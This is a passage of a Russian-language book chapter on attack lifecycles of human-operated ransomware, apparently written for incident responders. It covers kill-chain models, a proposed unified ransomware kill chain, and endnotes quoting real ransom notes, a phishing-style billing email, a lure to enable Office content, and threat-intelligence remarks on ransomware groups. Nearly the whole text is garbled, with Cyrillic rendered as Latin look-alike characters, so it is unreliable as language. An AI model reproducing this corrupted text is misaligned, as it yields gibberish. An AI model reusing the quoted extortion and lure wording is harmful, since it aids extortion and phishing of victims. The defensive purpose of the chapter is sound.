OOBIYHO B XO/JI€ KU3HEHHOTO IIUKJIAa aTaKH ITOJb30BATESIM IIPOrpaMM-BbIMOratee TpeOyeTcss JOCTYH K
pPa3IMYHBIM CEpBEpPaM, HaAIpUMED, IS KPaKU JAHHBIX WIIH YAAJICHUS PE3€PBHBIX KOMUM. 15 TOr0 UM HYKHBI
COOTBETCTBYIOIIIME YUYETHBIC JaHHbIC. BbI y)K€ 3HAaeTe, UTO 3JIOYMBIIIJICHHUKHA MOTYT BBITPY3UTh UX U3 IMaMSITH,
M3BJICYb U3 PA3JIMYHBIX XPAHWIMIL TAPOJICH UK, HAIPUMED, IIPOBECTH aTaky kerberoasting.

O6HapyxeHHUe

J11s sxchunbTpanuy HandoJiee KOH(PUACHIIMAIBHBIX JAHHBIX U pa3BEPTHIBAHUS IIPOTPaMM-BbIMOIraTeIc Ha
MaKCHUMaJIbHO BO3MOKHOM KOJHWYECTBE XOCTOB 3JIOYMBIIIJICHHUKAM HEO0X0IMMO HAUTH HH(POpMaIdio 00
YCTAHOBJICHHOM HPOrPaMMHOM OO€CII€YEHMH, YUETHBIX 3aUCIX, OOIMX CETEBBIX pecypcax U yIaJlCHHBIX
XOCTax.

Fopu3oHTa/IbHOE IEepeMelleHHE 110 CETH

[Tonb30BaTenu MPOrpaMm-BbIMOIaTEIE B OCHOBHOM OPUEHTUPYIOTCSA HA KOPIIOPATUBHBIE CETHU, IIO3TOMY UM
HY>KHO IIEpEMEIIATHCS OT OJJHOM CKOMIIPOMETUPOBAHHON CUCTEMBI K JIpyroi. B OONBIIMHCTBE Cl1y4yaeB OHU
MCIOJIB3YIOT JETUTHUMHBIC YUETHBIC JAHHBIE U MPOTOKOJIBI, Takue kKak RDP u SMB.

COo0p AaHHBIX

JI71 TOro 4TOoOBI YKPAacTh IICHHBIC JIAaHHBIC U pa3MecTuTh UX HA DLS, cHavana ux Hy>KHO cOOparThk.
310yMBIIIJICHHUKHA MOT'YT U3BJICKATh JJAHHBIC M3 JOKAJIbHBIX CUCTEM, OOIIMX CETEBBIX JUCKOB, JICKTPOHHBIX
MHUCEM U JIPYTUX UCTOYHHUKOB KOH(PHICHIIMAJIbHBIX JIaHHBIX.

yrlpaBJIEHI/Ie U KOHTPOJIb

YTo0bI n30€kKaTh OOHAPYKECHHUS B IPOIIECCE B3aUMOICHMCTBUS CO CKOMIIPOMETUPOBAHHBIMHU CUCTEMAaMU,
MOIIICHHUKH MOT'YT HIMHUTHPOBATh OOBIYHBIN TpaHK, 3ayThIBATh WM IIH(MPOBATh IIEpEaBacMble JaHHbBIC WIIH,
HAIPUMEP, UCTIOJIb30BaTh JJIs ITOAKIIOUYCHUS TPOKCHU-CEPBED.



Kpaxa JaHHBIX

[Tosb30BaTen MpOrpaMM-BEIMOTaTENIEM MOTYT KPacTh COOpaHHBIE JAHHBIC, 3aCUCTBYS KaHaJl YIIPABJICHUS U
KOHTPOJIS, a TAKXKE Pa3IMYHbIE BEO-CEpBUCHI. 11epe1 n3BieueHHEM JaHHBIE MOTYT OBITh 3aapXUBHUPOBAHBI U/WIIH
3alIU()POBAHBI.

Bo3aeuncrsue

OcHOBHas 1eJIb OOJBIIMHCTBA OIIEPATOPOB MPOrpaMM-BbIMOraTejie — MKU(pPOBAHNE JAaHHBIX B IIECJIEBBIX
cucreMax. [Ipu 3TOM OHHU BCEria MbITArOTCS MOMEIIATh BOCCTAHOBJIEHUIO CUCTEMbI, YHUUYTOXAasi KAK BCTPOCHHBIE,
TaK U CTOPOHHUE PE3EPBHBIE KOIIUM.

O0e moaenu — Cyber Kill Chain® u MITRE ATT&CK® — uMeroT cBOM NPEUMYIIECTBA U HEIOCTATKH,

IIO3TOMY HEKOTOPBIE UCCIIEOBATEIIN MBITAKOTCA CO3/1aTh HA UX OCHOBE HOBBIE MOJIEIU. S pKUM TTpUMED —
Unified Kill Chain.

Unified Kill Chain

Unified Kill Chain o6wenunaseT u pacmmpser Cyber Kill Chain® u MITRE ATT&CK®. Ee pa3zpabdoran IToxn
[ToJsic B cBOEM MarucTepckoi auccepranuu «MojaenupoBanue arak Fancy Bear: yaudukaiys ;kM3HEHHOTO IIUKJIa
Cyber Kill Chain» (Modeling Fancy Bear Attacks: Unifying the Cyber Kill Chain).

OdwunmanbHas Bepcus goctymHa no ceeuike: hitps://www.unifiedkillchain.com/assets/The-Unified-Kill-
Chain.pdf.

Unified Kill Chain pa3gensier »ku3HEHHBIN IIMKJI aTaKW Ha TP OCHOBHBIX ATana; NepBOHAYaJbHbBIA JOCTYII,
pPACHpPOCTPAHEHUE T10 CETU U LIEJIEBBIEC ACHUCTBUA. PACCMOTPUM KaXIbIK 3Tall B OTAECIBHOCTH.
[lepBOHAYa/JIbHBIN AOCTYII

Ha nepBoMm 3Tane onmchIBalOTCS MIaru, NPEAIPUHUIMACMBIC 310 YMBIIIUICHHUKAMU 1S TTOJIYYECHHUS TOCTYIIA K
[HEJIEBOU CUCTEME UJIU CETHU.

Ha4YanbHbIN
poctyn

Ckomrpome-
TUPOBAHHLIE
CUCTEMbI

Puc. 12.1. Dramnsl nepBoHa4aIbHOTO JOCTYyIIA

JKu3HeHHBIN UK HAYMHAeTCA ¢ n3ydeHus 1enu (PasBeaka). 3areM 3J10yMBIIIJIEHHUKAM HEOOXO0IMMO
IIOJITOTOBUTH HHPPACTPYKTYPY: BPEAOHOCHBIE IPOrpaMMBbI (B TOM YHCJIE MIPOTrPAMMBbI-BBIMOTATEIN) U JPYTrUe
MHCTPYMEHTHI, @ TaAK)KE HHPPACTPYKTYPY yHpaBICHU U KOHTPOJIA U T.4. (Boopyxkenue). Eciin B KOHTEKCTE
BOOPY>KEHHUS HCIIOJIb3YIOTCS T€ MJIM UHBIE OOBEKTHI, HAIPUMEP BPEIOHOCHBIE TOKYMEHThBI, X HEOOXOUMO
n0CcTaBUTH K 1eau (locTtaBka). 310yMBIIIJICHHUKHU JTOJKHBI THOO 0OMaHOM 3aCTaBUTh JKEPTBY 3arpy3UTh U
OTKPBITh Bpe10HOCHBIN (paiin (ConpanbHas MHXKEHEPU ), TMOO UCIIOJIb30BaTh JJIS 3aIllyCKa YSI3BUMOCTD
(Oxcmryaranms). [Toce 3amycka BpeJOHOCHOTO 00BhEKTa 3JI0YMBIIIJICHHUKAM MOXKET TOTPeOOBaThCA
MIOCTOSIHHBIM JOCTYII K B3JIOMaHHOM cucTeMe (3akperuieHue). YToObl HauaTh J€MCTBOBATh, 3JI0YMBIIIJICHHUKN
JTOJKHBI 000MTH cpencTBa 3amuThl (O0X0/1 3alMThI), a TAKKE UMETh BO3MOKHOCTh MMPOA0KATh
B3aMOJICHCTBHE CO CKOMIIPOMETHPOBAHHOM CHCTEMOM (YTIpaBlIeHUE U KOHTPOJIb).



PacrnpocTrpaHeHHe MO CeTHu

Kak TobKO omepaTopsl IPpOTrPaMMBbI-BBIMOTATEIIS 3aKPEISTCS B IIEJIEBOM CUCTEME, OHU TOTOBBI IIEPEUTH K
CIENYIOIIEMY 3TAIy — PACITPOCTPAHECHUIO T10 CETH.

CTpaHeHue
no cetTu

CeTb

Puc. 12.2. Dtanbl pacpoCTpaHEHUS 110 CETH

310YMBILIIJICHHUKHU JTOJDKHBI COOpaTh MH(MOPMALIMIO O CKOMIIPOMETUPOBAHHOM CUCTEME, YTOOBI 3HATh CBOU
TEeKYILHNE MPUBUJICTUN U YPOBEHb JlocTyna (OOHapyxkeHue). Ecnu npuBuiiernii HE0CTaTOYHO, B3JIOMIIIUKA MOTYT
MOBBICUTH MX, HAIPUMEP, UCIOJIB3Ysl Ys3BUMOCTH (IloBbiieHne npuBuiernuii). O01a1ast MOBBIIICHHBIMU
MPUBHUIIETHSIMH, OIIEPATOPHI MMPOTrPAMMBI-BBIMOTATENS MOTYT 3allyCKaTh IMPOU3BOJIBHBIN KO/ BO B3JIOMaHHOM
cucteme (BrinosiHeHne). Bo3M0KHOCTB 3amycka MPOM3BOJIBHOTO KOJ1a TTO3BOJISIET MOILIEHHUKAM IOJTy4aTh
y4eTHbIC JaHHbIC (JloCTyn K yYETHBIM JaHHBIM). FiMest HaiJIeKalue y4eTHbIC JaHHbIC, TOJIb30BaTeIIH
IPOrpaMMBbI-BBIMOTATEIISI MOTYT OOHAPYX UTh yaaleHHbIE XOCThl (OOHapyXE€HUE) U Ha4aTh TOPU30HTAITBLHOE
nepemineHue (I'opr3oHTaIbHOE NEPEMEILICHUE), YTOOBI IEPEUTH K IIEJICBBIM JCUCTBUSIM.

Iles1eBbIe AeMCTBUS

HNMmes Hagmexxanmue ydeTHble JaHHbIE U BO3MOXHOCTh TOPU30HTAIILHOIO IEPEMEICHHUS, OTIEPATOPHI IIPOTPAMM -
BBIMOTATENIEM MOTYT MEPEUTH K 3aKITFOUUTEIILHOMY ATaly — 1IEJIEBBIM JEHUCTBUSM.

Kak BbI y2Ke XOPOIlIO 3HaeTe, B OOJBIINHCTBE aTaK C UCIOJIb30BAaHUEM IIPOrpaMM-BbIMOraTelIeH, YIpaBIsIeMbIX
YeJIOBEKOM, OJIHA M3 OCHOBHBIX IICJEHU

LleneBbie
nencTems

HocTyn K ueHHbIM
OaHHbLIM

Puc. 12.3. Dramsl 1eaeBbIX 1eHCTBUN

3JI0YMBIIIJIECHHUKOB — JIOCTYII K [IEHHBIM JaHHBIM. Kak TOIbKO Takue JaHHbIC OOHAPY>KEHBI, UX COOMPAIOT
(COop mannbIX) B BEITpYKaroT (Kpaxka ganneix). Korjma maHHbBIC BEITPYKEHBI, 3JI0YMBIIUICHHUKHA MOTYT
IEePEXOAUTh K 3aKITIOYNTCILHOMY 3Tally — pa3BepTHIBAaHUIO IIporpaMMEI-BeIMorareis (Bo3aelicTsue).

MBI pacCMOTpeIn pa3IndHbIe JKU3HCHHBIC IIUKIIBI, B TEIEph JaBaiiTe cocraBuM codocTBeHHbI — Unified
Ransomware Kill Chain.



Unified Ransomware Kill Chain

M3 3TOM KHUTH BBl y3HAIM MHOTOE O KHOEpYrpo3ax, CBA3aHHBIX C MPOTPAMMAMU-BBIMOTATEIISIMU, a TAKKE
paccMOTpPEN HauOoJIEE PACIPOCTPAHEHHBIE METObI, UCIIOJIb3YEMbIE 3JIOYMBIIUICHHUKAMU. Tenepp y Bac €CTh
4YETKOE MPEACTaBICHUE 00 aTakax ¢ UCIOJIb30BaHUEM MPOrpaMM-BbIMOTaTENIeH, yIIPABISEMbIX YEJIOBEKOM, U MBI
rOTOBBI IOCTPOUTH COOCTBEHHBIN ku3HEeHHBIN UK Unified Ransomware Kill Chain.

[losrydyeHHe JOCTyIA K CeTHU

Ornepartopsl MPOrpaMM-BbIMOTATENICH MOTYT MOJIY4YaTh JOCTYII K LIEJIEBOM CETH CAMOCTOATENBHO WM TPUOOpeTas
€ro y OpOKepOB NEPBOHAYAIBLHOTO JIOCTYIA. DTO MOYKET OBITh JOCTYII K OIPEICIEHHOMY XOCTY B CETH WJIH K
CaMOU CETHU, HAIIPUMED, YEPE3 CKOMIIPOMETUPOBAHHBIE yUeTHbIC TaHHbIE VPN.

JI1 mony4eHus OCTyIa MOXKET UCIOJIb30BAThCA IIIMPOKUN CIIEKTP METOJIOB, OT JOBOJILHO PACIIPOCTPAHEHHBIX,
TaKUX KaK aTakh METOJO0M I'pyOOU CHJIbI M (DUILIMHTOBBIC AJICKTPOHHBIE MMCbMA, 10 00JI€€ CII0KHBIX, TAKUX KaK
aTaKU Ha LEIMOYKY IMOCTABOK.

IloaroToBKa K PA3BUTHIO ATAKH

DTOT ATall MOXKET BKJIHOUYATh B C€0s pa3InyHbIe JeHCTBUS: COOp HH(DOPMAIIMM O B3JIOMAHHOM XOCTE, OUCK
CII0COOO0B MOBBIIICHUS IPUBUIIETUN M JOCTYIA K YYETHBIM JTaHHBIM, a TaK)KE€ OTKIFOUCHHUE UK 00XO0JI CPEACTB
3aIUTHI I TOTO, YTOOBI Ha4aTh Pa3BEAKY U MPOABHKECHHUE 10 CETH.

Kpome Toro, 310yMBIIIIIEHHUKAM MOKET MOTPEOOBATHCS IMTOCTOSTHHBIN U PE3€PBHBIN JOCTYIT K
CKOMIIPOMETUPOBAHHOMN CUCTEME.

CeTeBas pa3BegKa

[Ipexxae yueM HayaTh pacipoOCTPAHEHHUE 10 CETH, B3JOMIIMKHU JOJKHBI COOpaTh MH(QOPMAIUMIO 00 YIAJICHHBIX
CUCTEMAX, YTOOBI 3HATh, HA YTO UM CIIEAYET OOPATUTh BHUMAHUE B IIEPBYIO OYEPE/Ib.

O6HapyKeHHe K/II0YEeBbIX 00 bEKTOB

He kaxaplii XOCT OJIMHAKOBO IIEHEH JIJIs 3JI0YMBIIICHHUKOB. B OCHOBHOM HX MHTEPECYIOT OOBEKTHI, II€ MOKHO
MOJYYUTh JOMOJHUTEIbHBIC IPUBUICTHPOBAHHbBIC YUETHBIC IaHHBIE, COOpATh LIEHHYIO HH(GOPMAIIUIO U, KOHEYHO
e, 100paThCs 10 PE3EPBHBIX KOIMH.

[IpoaBuKeHUE O CETH

YToOBI MOJIY4YUTh AOCTYII K HAM0O0JI€€ [IEHHBIM 00BbEKTaM, ONIEPaTOPhl IPOrpaMM-BbIMOTIATEIEH JOIKHBI
nepeMeNaThCs 10 CETH B TOPU3OHTAIBHOM HampaBieHUU. Kak Bbl yKe 3HaeTe, JIJIsl 3TOr0 OHU OOBIYHO
UCIIOJIBb3YIOT JIETUTUMHBIE UHCTPYMEHTHI U METO/IHL.

Kpaxa gaHHBIX

MHoraa onepaTtopsl HporpaMM-BeIMOTaTelIeH KpaayT JaHHBIEC TOJIBKO C OJTHOTO XOCTa, HaIpUMEp ¢ (aillIoBOro
cepBEpa, MHOTIa OHU COOMPAIOT 1 BBIFPYKAKOT JAHHBIC U3 HECKOJBKUX HCTOYHUKOB. B HEKOTOPBIX ClIydasix 3TH
JECUCTBHUS 3aHUMAIOT MECAI] U aXKe OOJIbIIIE.

Kak npaBuito, COBpeMEHHBIE aTaKH C UCIIOJIb30BAHUEM IMIPOrPAMM-BBIMOTATENIEH COMTPOBOKAAIOTCS KpaKeH
JAHHBIX, HO HMHOT /1A 3JIOYMBIIIIJICHHUKH MPOIYCKAIOT 3TOT ATAall.

[loagroroBKa K pa3BepThIBaHUIO

310YMBILIJIEHHUKHU JTOJDKHBI OTKIFOUUTH MPOAYKTHI O€30IIaCHOCTH, YCTAHOBJIEHHBIE B CKOMIIPOMETHUPOBAHHOM
CETH, U YJIAINUTh PE3CPBHBIC KONIUM JTAHHBIX. JTO JEIACTCS IO TOr0, KaK B3JIOMIIUKA MOTYT IMPUCTYIUTH K
PA3BEPTHIBAHUIO ITPOTPAMMBI-BBIMOTATEA.

PaBBeprIBaHI/Ie l'lpOI‘paMM-BbIMOI‘aTe.TIEﬁ

Ha 3ToM 3Tane 310yMBIILICHHUKH OBITAI0TCA JOCTUYbL CBOCH INIaBHOM 1I€JIM — Pa3BEPHYTh MPOrpaMmy-
BbIMOTaTeslb. Ba)KHO OTMETUTBh, YTO B HEKOTOPBIX CIy4asX OHU JaXK€ HE MCIIOJb3YIOT BPEIOHOCHBIN KO/I, a
MKAQPPYIOT JaHHBIE C IOMOIIBIO JETUTUMHBIX HHCTPYMEHTOB, TakuXx Kak BitLocker u DiskCryptor.

BOJBIIMHCTBO IPOrpaMM-BbIMOTaTelIeii OUeHb 3aMETHBI, IO3TOMY 3J10YMBIIIJICHHUKH IBITAIOTCS HATH HOBBIC
CIIOCOOBI 00X0J1a 3aIHTHI.



BsiMmorareJJibCTBO

3ammu@poBaTh BCIO CETh U KJIaTh OTBETA OT KEPTBBI MOKET OBITh HE OYEHB IPPEKTUBHO, TOITOMY JIUIIA,
CBSI3aHHBIE C IIPOTPAMMAMHU-BBIMOTATEISAMU, H300PETAIOT HOBBIE CLIOCOOBI YCKOPEHHUS Mporecca. OHU MOTYT
pasMeniath 00pa3ipl YKpaACHHBIX JaHHBIX Ha DLS, 3BOHUTH COTpYJIHUKAM XKEPTBBI U JaKe MPOoBOAUTE DDoS-
aTaKd Ha YK€ CKOMIIPOMETHUPOBAHHYIO HHPPACTPYKTYPY.

O6Hapy-
XEeHUe Mpopsu-
KINIOYEBbIX XeHue
06LEKTOB no cetu

Pasgep-

Monyyexune MogroToBeka MoaroToBka N ThiBaHUe

noctyna K PasBUTHIO C:;ggzsa K pa3BepTbl- 4 nNporpamm- ?;';:g{gé
K ceTu aTaku P BaHWUIO BbIMOra-
Teneun

Kpaxa
AaHHbIX

Puc. 12.4. YHUGUIIUPOBAHHBIN KU3HEHHBIN IIUKJ aTaK C UCIIOJIb30BAHUEM IIPOTrPAMM-BBIMOTaTEIICH

Tpu sTana yHu(UIIMPOBAHHOTO KU3HEHHOTO IIUKJIA 3aKOJIBIIOBAHbBI, IOTOMY YTO OIEPATOPhI MTPOrpaMM-
BBIMOTATEJIEW MOTYT BBITIOJHATH OJHU U TE XKE JICUCTBUSA HA HECKOJIBKUX XOCTaX.

Ciry>k0bl pearupoBaHusl Ha MHIUACHTHI MOTYT HCIIOJIb30BAaTh JaHHBIN KM3HEHHBIN IIUKJI JIJISI PEKOHCTPYKIIAU
aTaK MpU pearupoBaHUN HA MHIMJICHTHI, 4 TAKXKE I CTPYKTYPUPOBAHUS OKOHYATEIILHOTO OTYETA, YUTOOBI
Ka KJIbIM ATall aTaku ObLI JOCTYITHO OMKCAaH C UCIIOJIb30BAaHUEM JIOCTATOYHOI'O KOJIMYECTBA apTEe(PaKTOB.

BBIBO ABI

Teneppb Bbl MHOTOE 3HAETE O COBPEMEHHBIX aTaKaxX ¢ UCHOJIb30BAHUEM IPOrPAMM-BBIMOIaTelIEN U O TOM, KaK
HaXOJIUTh U OTCJICKUBAThH PA3JINYHBIE UICTOYHUKHN 3HAHUN O KMOEPYTpo3ax.

[ToHuMas )KU3HEHHBIN UK aTaK C UCIOJb30BAHUEM IIPOTPAMM-BBIMOTATENIEM, Bbl MOKETE UCIIOJIb30BATh
pPa3JIMYHbIE MOJICJIH, B TOM YUCJI€ YHU(PUIIMPOBAHHBIN KU3HCHHBIN IIUKJI aTaK C UCIOJIb30BAHUEM ITPOrPaAMM-
BBIMOIATEJIEH, JIJIs1 PEKOHCTPYKIIUMU TaKuX atak. Kpome Toro, Teneps Bbl 3HAETE, KAK PELIATH ATY 3a1a4y [PU
MOMOIIM HAau00JIE€ PACITPOCTPAHCHHBIX KPUMUHATUCTUYECKUX apTE(HaKTOB.

41 HazIErOCh, UTO 3Ta KHUTa TOMOXKET BaM HE TOJIBKO PEArupoBaTh HA MHIMUIACHTHI, HO W JIYUIIE OHATh TEKYIIUN
HaHAma@T yrpo3, CBA3aHHbBIM C aTaKaMH IMPOTPaMM-BbIMOTaTENICH, YIIPABISIEMBIX YETOBEKOM.

[locneaHee Ba)KHOE 3aMEUaHUE: HE CTOUT OrPAHUYMBATHCS TOJBKO TEMH KPUMHUHAIMCTHYECKUMU apTe(aKkTamu,
KOTOPBIE OIMMCAHBI B 3TOM KHUTE. [10J1€3HBIMH CTOPOHHUMH UCTOYHHUKAMU MH(MOPMALINU SIBIISIIOTCS, HAIIPUMED,
SIEM u XDR. Mcnonp3yiiTe kKak MOKHO OOJIbIIIE JAHHBIX — ATO ITO3BOJIMT BaM JIETAJIbHO PEKOHCTPYHUPOBATh
aTaKy W BBICTPOUTh HAJICHKAIIYIO 3alIUTY, YTOOBI yOepeub Ballly (MM KJIMEHTCKYIO) CETh OT MOJOOHBIX YIpoO3.

1. #YTo cnmyunnock ¢ BamuMu danaamu?
Bce Bamm aiiiibl 3amu@poBaHbl ¢ moMoIpio anroputMa RSA-2048 — cM. «RSA-mudppoBaHue» B IIOUCKE

Google.
#Kak BOCCTaHOBUTH (PaiiJIbI?

RSA — 3T0 acUMMETpUYHBIN KpUNTOrpapuuecKuid anroputM. Bam Hy>KeH OJIMH KJIFOY JIJISI 3a1IM(POBKHU U
JAPYTroM KU JJIs pacIiu(@poBKH.

DTO 3HAYUT, YTO JIJISI BOCCTAHOBJICHMS (haiijI0oB BaM HY>KEH 3aKPbITHIN KJTFOY.
be3 3aKkphITOro Kiiro4a BOCCTAaHOBUTH (Paiiyibl HEBO3MOKHO.

#KaK moJIyduTh 3aKPBITHIA KJIHOY?

YTOObI MONTYYUTh 3aKPBITHIN KJIFOY, BBIIIOJHUTE TPH HPOCTHIX IIIara.

[IIar 1: ornpaBbTe HaMm 1,7 OMTKONHA 3a KaXKAbli MOPAKEHHBIN KOMITBIOTEP WK 28 OMTKOMHOB 3a BCE
MMOPAXEHHBIE KOMIIbIOTEPHI.

[IIar 2: mociie Toro Kak Bbl OTIIpaBUTE HaM 1,7 OMTKOMHA, OCTaBbTE HA HAIIIEM CaliTe KOMMEHTAPHUM ¢ BalllUM
HIMEHEM XOCTa.

* Bamnr xocT ...



[IIar 3: B OTBET MBI BBIILJIEM BaM MporpaMmy aeimudppoBanua. Bam Hy>kHO OyZI€T 3aIyCTUTh €€ Ha TOPAXKEHHOM
KOMITBIOTEPE, U BCE 3alIM(PPOBAaHHBIE (Pailyibl OyAyT BOCCTAHOBJICHBI.

Harmr caur: ...
Ham OuTKOUH-KOILEIEK: ...

(Ecnu BbI oTipaBuTe HaM 28 OMTKOMHOB 3a BCE MOPAKEHHBIE KOMIIBIOTEPHI, OCTaBbTE HA CAUTE KOMMEHTapHUH
«3a BCe MOPaKCHHBIE KOMIIBIOTEPHI. )

(Tax>xe BBl MOXKETE OTIPABUTH HaM 14 OMTKOMHOB, ONYYUTH 14 KIiItoUen (ClaydalHbIM 00pa3oM), a mocye
IPOBEPKU JOIJIATUTH, YTOOBI HOJTYYUTh OCTABIIIMECS KIIOYH.)

Kak momacTte Ha HaIl canT?

YToOBI 3alTH Ha HAIll CAalT, Bbl JOJKHBI YyCTaHOBUTH Opay3ep TOR u BBeCTH B HEM aJipeC HAIIETO CauTa.
3arpy3utb Opay3zep TOR MOKHO O CCBUIKE ...

Cwm. Takxke B Google «Kak OTKpbIBaTh ON1ON-CaTHI».

#TecToBOE ACMIM(PPOBAHUE

Bbl MOkeTe CkayaTh ¢ HAIIETO calTa JiBa 3alM(PPOBaHHBIX (haijia, ¥ Mbl paclinpyeM UX I Bac.

#1'ne KynuTh OMTKOMH

MBEI coBeTyeM MOKyIaTh OMTKOMHBI 32 HATWYHbIC WK yepe3 Western Union y ..., TOTOMY YTO OHHU HE TPEOYIOT
IPOBEPKHU U BBICBUIAKOT OUTKOWHBI OBICTPO.

#KpallHUl CPOK

Eciu B TedeHMEe ceMU JTHEW Bbl HE OTIIPABUTE HaM OMTKOMHBI, MbI YJIaJIMM BalllM 3aKPbBITHIC KU U (pailjibl
OyJeT HEBO3MOKHO BOCCTAHOBUTh.

2. Bamma ceTn B3710MaHa.

Bce daitinbsl Ha KakI0M XOCTE CETH 3allli(POBAHBI ¢ IOMOIIBIO HAAEKHOTO aIrOpUTMa.

Pe3epBHBIE KOITMY JIMOO 3aIM(pPOBAHBI UJIH YIaJCHBI, JIMOO OT(HOPMATHUPOBAHBI JUCKH PE3EPBHBIX KOMHI.
Y Hac eCTh YHUKAJIBLHOE IIPOrpaMMHOE 00€CIICUECHHUE IS paciii(ppoBKHU Ballux (hausios.

He nepe3arpy:xaiTe U He BBIKIIOYAUTE KOMIIBIOTEP — 3TO MOYKET MOBPEAUTH (DAKJIBI.

He nepenMeHoOBBIBalTE 3aM(PpOBaHHbIC (PalJibl MK (haitiabl readme.

He nepememaiite 3ammdpoBaHHbie Paiibl Wid (ailiasl readme.

He ynansiite ¢aiiabel readme.

DTO MOXET NPUBECTU K TOMY, UTO OINPEACICHHbIE (PaiJibl OYJIET HEBO3MOKHO BOCCTAHOBUTb.

YT0O0bI MOJIYy4UTh HH(MOPMALIMIO 00 OILIaTe pacIu(POBKHU BalIMX (DAKIIOB, CBSKUTECH C HAMU 1O aJIpecy: ...
Kourenek BTC: ...

YTo0bI yOeIUTHCA B HAIIIUX YECTHBIX HAMEPECHHUSX:

OTIPABBTE JBA Pa3HBIX CAYYaWHBIX (Daiia U MOJYYUTE UX PACII(POBKY.

YTo0ObI yOeAUTHCA B TOM, YTO MBI BCE paciin(ppyeM, BBl MOKETE OTIIPABUTH (haijIbl C pa3HBIX KOMIILIOTEPOB
Balll€l CETH.

O06a ¢aiina nopkHbl MeTh paciupenue .LOCK. Mbl paz0nokupyeM aBa (daiiyia OecriaTHO.
3. UHCTPYKIMA

1. Ckauaiite 0pay3ep TOR.

2. Otkpolite cchuiKy yepes opayszep TOR ...

3. 3anonHuTe (opmy, Balll HAPOJIb: ...

MBI CBSDKEMCSI ¢ BAMU B CKOPOM BPEMEHH.

Bcerna otnpasisiiite (aiiibl 111 TECTOBOM paciIn(pOBKH.

4. Huxe BbI MOXKETE HAWTH JUYHBIC JAaHHBIC KOMIIAHUM, KOTOpbIe ObUIM B310MaHbl DoppelPaymer. Otu
KOMITAaHUHU PEIIWJIM COXPAHUTh YTEUKY B TarHe. 1 Tenepps ux BpeMs MIIATUTh UCTEKIIO.

Yapnu Knapk Huccan bpayHcBui
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9. IIpuger! IlocMoTpu, nokanyricta. C yBaKEHHEM.

6. 3npaBctBynite, #0472392865357

DTO MUCHMO KacaeTcs Balier moanucku. Cpok mpoOHOM MPEMUYM-BEPCUH ITOYTH UCTEK. [[J1 ipoiieHus
IPEeMUYM-IIOANUCKH OyAET MCIIOJb30BaHA YKa3aHHAs BaMU B INYHOM KaOMHETE KpeAUTHAs KapTa.

B Haiel orpoMHON OHJIAMH-KOJUICKIIMHA TPEICTABICHBI MPAKTUYECKU BCE KHUTH Ha JI00bIC TEMBI. 3arJITHUTE Ha
HaIlll CAlT, YTOOBI O3HAKOMHUTHCS C CEMEWHBIMM MOANUCKaMU, OJ1aroaapsi KOTOPbIM Ballld OJIM3KHUE CMOTYT
HACJIaJUTHCS MEPBOKIACCHBIM KOHTEHTOM C OOJIBIION TPYNIIOBOM CKUJIKOW. biiarogapyum Bac 3a IoBepHUe K
HalIEMy CEPBUCY!

¥ Bac ocraianch BONpockl 0 noanucke? CBSKUTECH C HAIIEH CIyKO00M moaaep:xku no teanedony +1 737 710
1686.

C Hauy4dlIMMM TOKeJIaHusIMU, kKomanaa Paradise Books. He oTBeuaiiTe Ha 3TO NHUCHMO.
/. Nadopmanus o0 arake Ha Kaseya

B nsatauny (02.07.2021) mbl atakoBanu npoBaiiepoB MSP. 3apaxxeHo 0ojiee MuiinoHa cuctem. Hamma nieHa
IOJIHOTO JeKoaupoBanus — $70 MitH B OMTKOMHAX, HA 3TUX YCIOBHUAX MbI BEIJIOXKUM B OTKPBITBIN JOCTYII
JASKPHUIITOP JJIs1 paciiuPpPOBKU BCEX MOCTpaiaBIINX (haiijoB, TO €CTh BCE KEPTBBI CMOT'YT JIMKBUAUPOBATh
MOCJICICTBUS aTaKW B TEUECHUE Yaca. Eciin BaM HHTEpECHO HAIllE NPEAJI0KEHHUE, CBSKUTECH C HAMH, UCIIOJIb3YSI
MHCTPYKIMH B (paiyiax readme mocTpagaBInX yYCTPOMCTB.

8. Eciu BBI KJIMEHT, OTKA3aBIIUICS OT CACIKH, M HE HAIILJIM CBOM JIaHHBIC WIIY I[ICHHBbIC (DalJIbl Ha CaliTe KapTes,
3TO HE 3HAYHUT, YTO MBI O BacC 3a0bLJIHd, — IIPOCTO BaIllM JJaHHBIC YK€ MPOJAaHbI U ITO3TOMY HE ONyOJINKOBAHEI B
OTKPBITOM JIOCTYIIE.

9. https://www.altx-soft.ru/upload/iblock/124/NIST%20800-61%20PykoBoacTB0%20m0%2006padoTke%o-
20unumnaeaToB%20MUb.pdf

10. Orchunka k kaure u caty Kopu Ilapkepa «bpanamMayaspsl He ocTaHaBIMBaKOT ApakoHOB» (Firewalls Don't
Stop Dragons). — IlpuM. Hayd. pen.

11. ITpaBuia

MpkI HE aTaKkyeM:

. OOJILHUIIBI;

. KJIr04YeBbIe MH(MPpACTpYKTypHBIE 00beKThI (ADC, DC, BOJOOUNCTUTEILHBIC COOPYKECHUS);
. HedTerazoBblil ceKkTop (TpyoornpoBoabl, HII3);

. 00OPOHHBIE MPEATIPUSATHS;

. HEKOMMEPYECKHE OPraHnu3alluy;

. TOCYIAPCTBEHHBIN CEKTOP.

Ecnu Bama KoMIaHusi OTHOCUTCS K 9TOMY CIHHCKY, BBl MOXKETE IIOMPOCUTD OCCILIATHYIO ACIIN(POBKY.
12. Ilpuser!

Bo BII0)XEHHOM JIOKYMEHTE MHTEePECHass HH(MOpMaIIHsI.

Cmacu0o0.

13. OTOoT NOKYMEHT co3jiad B npeapiayiiei Bepcun Microsoft Office Word. UToObI mpocMOTpEeTh WM
OTPEIAKTUPOBATh ATOT JIOKYMEHT, HAXKMHUTE HA KHONKY «Pa3penuTh pelakTHpOBaHUE» HAa BEpXHEH MaHEH,
3aTeM HaXMUTE «Pa3pelinuTh CoIepKUMOe.



14. Banmanuro crernuanuctoB no IR: RagnarLocker ucrionp3yer handybackup.net mst kpaxku. CoxpaHeHne B
cucteme: Cobalt/ScreenConnect, ropuzonTanbHoe nepemenieane: Cobalt/RDP, pa3senka: Advanced IP Scanner,
coop nanubix: WinRar. Kpaayr Oonbiire 00bembl JaHHBIX (TepadanThl). COOOIIEHHS O BBIKYIIE CO CChUIKAMU Ha
CKPHHIIIOTHI.

ToabKO 4TO 3aMETHIIN, YTO OHHM HUCIIOJIBL3YIOT #PaExec («a», He «s») M yAaJeHHON ycTaHOBKH c1y»k0 Cobalt.
[loxoxe, 4yTO A IIEPBOHAYATIBHOIO AOCTYIIA UcIoiab3yercs ProxylLogon.

15. DoppelPaymer ucnons3yror MediaFire.com mist kpaxku uepe3 Bed-0paysep. [Ipoune TTP: Cobalt Strike,
